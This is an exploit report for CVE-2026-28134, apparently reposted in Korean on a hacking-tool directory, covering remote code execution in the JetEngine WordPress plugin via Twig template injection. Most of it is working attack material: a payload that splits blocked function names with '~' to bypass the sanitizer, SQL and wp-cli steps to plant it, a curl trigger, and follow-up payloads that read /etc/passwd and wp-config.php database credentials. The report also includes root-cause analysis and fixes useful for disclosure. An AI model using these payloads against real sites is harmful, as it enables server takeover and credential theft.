Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - 인증된 (Contributor+) 원격 코드 실행 | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2026-28134
Vulnerability AnalysisExploitationWeb Application ExploitationPayload Development
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - 인증된 (Contributor+) 원격 코드 실행

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-28134 악용 보고서

JetEngine <= 3.7.2 — Twig SSTI를 통한 인증된 (Contributor+) 원격 코드 실행

날짜: 2026년 3월 11일 CVSS 점수: 8.8 (높음) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 영향을 받는 플러그인: JetEngine <= 3.7.2 플러그인 슬러그: jet-engine CVE: CVE-2026-28134 상태: 비공개 테스트된 WordPress 버전: 최신


요약

CVE-2026-28134는 JetEngine WordPress 플러그인의 원격 코드 실행 취약점으로, 3.7.2 이하의 모든 버전에 영향을 미칩니다. 이 취약점을 통해 Contributor 이상의 접근 권한을 가진 인증된 공격자는 JetEngine Listing 게시물에 악성 Twig 템플릿을 주입하여 서버에서 임의의 OS 명령을 실행할 수 있습니다.

공격 체인은 세 가지 약점을 결합합니다:

  1. Listing 게시물 템플릿을 렌더링하는 nonce 또는 권한 검사가 없는 인증되지 않은 AJAX 디스패처.
  2. 샌드박스가 없는 Twig/Timber 렌더링 엔진 — 문자열 기반 블록리스트 새니타이저만 존재.
  3. 차단된 함수 이름을 토큰 간에 분할하기 위해 Twig의 ~ 문자열 연결 연산자를 사용하는 새니타이저 우회.

✅ 취약점 확인 — 완전한 RCE 달성

확인된 영향:

  • www-data 권한으로 임의 OS 명령 실행
  • 전체 파일시스템 읽기 접근 (/etc/passwd, wp-config.php)
  • 데이터베이스 자격 증명 유출

취약점 상세 정보

기술 요약

JetEngine은 Twig/Timber 기반 Listing 뷰 유형을 제공합니다. timber_views 구성 요소가 활성화되면 _listing_type = twig인 Listing 게시물의 _jet_engine_listing_html 게시물 메타가 Timber를 통해 라이브 Twig 템플릿으로 렌더링됩니다. 렌더링 파이프라인은 인증되지 않은 wp_ajax_nopriv_jet_engine_ajax AJAX 액션을 통해 도달할 수 있으며, 공격자가 JetEngine Listing 게시물을 생성하거나 수정할 수만 있으면 됩니다 (최소 Contributor 역할).

영향을 받는 구성 요소


악용 체인

1단계 — 인증되지 않은 AJAX 디스패처

ajax-handlers.php는 인증된 사용자와 인증되지 않은 사용자 모두에 대해 AJAX 액션을 등록합니다:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

핸들러는 nonce 또는 권한 검사 없이 $_REQUEST['handler']를 기반으로 클래스의 모든 공개 메서드로 디스패치합니다:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

listing_load_more 호출은 공개적으로 접근 가능하며 Listing 렌더링 파이프라인을 트리거합니다.

2단계 — Twig 렌더링 파이프라인

listing_load_more → get_listing → frontend->get_listing_item 호출 체인은 다음에 도달합니다:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

$listing_view = 'twig'일 때, 이것은 Jet_Engine\Timber_Views\Render::get_listing_content()를 실행하며, 게시물의 _jet_engine_listing_html 메타 필드에서 Twig 템플릿을 읽어 render_html()에 직접 전달합니다:

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig는 샌드박스 없이 렌더링합니다. 유일한 보호 장치는 sanitize_twig_content()입니다.

3단계 — 문자열 연결을 통한 새니타이저 우회

sanitize_twig_content()는 단어 경계 정규식 패턴을 사용하여 위험한 PHP 함수 이름을 제거한 다음 템플릿이 수정되었는지 확인합니다:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

\bsystem\b 패턴은 리터럴 토큰 system과 일치합니다. "sys" ~ "tem"은 두 개의 별도 따옴표 문자열 토큰이므로 일치하지 않습니다. Twig는 렌더링 시점에 연결을 평가하여 메모리에서만 "system"을 생성합니다 — 소스 템플릿에는 차단된 단어가 전혀 포함되지 않습니다.

우회 페이로드:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

새니타이저는 fn, "sys", ~, "tem", "id"를 볼 뿐이며, 이 중 어느 것도 블록리스트에 없습니다. 변경 없이 통과합니다.

4단계 — Timber의 fn() 헬퍼를 통한 코드 실행

Timber는 Twig 환경에 PHP 호출 가능 래퍼를 직접 등록합니다:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }}는 call_user_func_array("system", ["id"])로 해석되어 임의 OS 명령 실행이 가능합니다.


개념 증명 (PoC)

사전 요구 사항

  1. 공격자는 Contributor 이상의 WordPress 접근 권한을 보유해야 합니다.
  2. JetEngine timber_views 구성 요소가 활성화되어 있어야 합니다 (JetEngine 설정 > 성능 > Timber/Twig 뷰).
  3. Timber 라이브러리 플러그인이 설치되어 활성화되어 있어야 합니다.

설정

게시물 메타에 악성 Twig 템플릿이 저장된 JetEngine Listing 게시물을 생성합니다:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

또는 wp-cli를 통해 (Contributor 사용자로):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

트리거 (인증되지 않음)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

결과

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

공격 확장 — 파일 읽기

차단된 문자열 passthru를 "pas" ~ "sthru"로 분할:

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

템플릿이 {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}로 설정된 경우:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

공격 확장 — 자격 증명 유출

템플릿 {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

근본 원인 분석

원인 1 — AJAX 액션에 대한 인증 누락

wp_ajax_nopriv_jet_engine_ajax는 인증되지 않은 요청에 대해 실행됩니다. handle_ajax() 디스패처는 listing_load_more를 호출하기 전에 nonce 검증이나 권한 검사를 수행하지 않습니다. 따라서 악성 Listing이 존재하면 렌더링 파이프라인에 인증되지 않은 사용자가 도달할 수 있습니다.

원인 2 — Twig 샌드박스 부재

Twig의 공식 샌드박스 확장(\Twig\Sandbox\SecurityPolicy)은 엔진 수준에서 허용 목록을 적용하므로 명시적으로 허용되지 않은 함수는 호출할 수 없습니다. JetEngine은 샌드박스 없이 createTemplate()을 사용합니다. 유일한 보호 장치는 렌더링 전 문자열 검사로, 쉽게 우회할 수 있습니다.

원인 3 — 정규식 블록리스트 부족

블록리스트 방식(/\bsystem\b/i)은 정적 템플릿 소스 텍스트에서 작동합니다. Twig의 ~ 연결 연산자는 런타임에 문자열을 구성합니다. 차단된 이름은 "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem" 등으로 분할할 수 있습니다. 적절한 샌드박스는 함수 이름이 어떻게 구성되었는지와 관계없이 호출을 거부합니다.

원인 4 — Timber가 call_user_func_array를 노출

Timber의 fn() 및 function() Twig 헬퍼는 PHP의 call_user_func_array에 대한 무조건적인 브리지입니다. 호출 가능한 함수에 대한 허용 목록이 없습니다. 웹 프로세스에서 도달할 수 있는 모든 PHP 함수가 호출될 수 있습니다.


수정 방안


타임라인

날짜이벤트
2026-03-11취약점 발견 및 완전한 RCE PoC로 확인
2026-03-11보고서 초안 작성

참고 자료

  • JetEngine 플러그인 — Crocoblock
  • Timber/Twig WordPress 라이브러리
  • Twig 샌드박스 확장
  • OWASP — 서버 측 템플릿 주입
도구 다운로드
파일문제
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax 등록됨 — 인증 또는 nonce 없음
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — 임의 공개 메서드 디스패치
includes/components/timber-views/timber.php:150render_html()은 샌드박스 없이 공격자 제어 Twig 템플릿을 렌더링
includes/components/timber-views/timber.php:189sanitize_twig_content() — 정규식 블록리스트, 토큰 분할로 우회됨
timber-library/lib/Twig.php:42-43Timber가 fn()/function()을 call_user_func_array용 Twig 래퍼로 등록
수정설명
handle_ajax()에 nonce + 권한 검사 추가모든 AJAX 디스패치에 대해 edit_posts 권한과 유효한 nonce 요구
Twig 샌드박스 활성화문자열 블록리스트를 \Twig\Sandbox\SecurityPolicy로 대체 — 안전한 함수와 속성을 명시적으로 허용 목록에 추가
Timber fn() 헬퍼 제한호출 가능한 함수 이름을 허용 목록에 추가하거나 신뢰할 수 없는 템플릿에 대해 Twig 환경에서 fn()/function() 제거
Listing 소유권 검증템플릿을 렌더링하기 전에 요청 사용자가 해당 Listing에 대한 edit_post 권한이 있는지 확인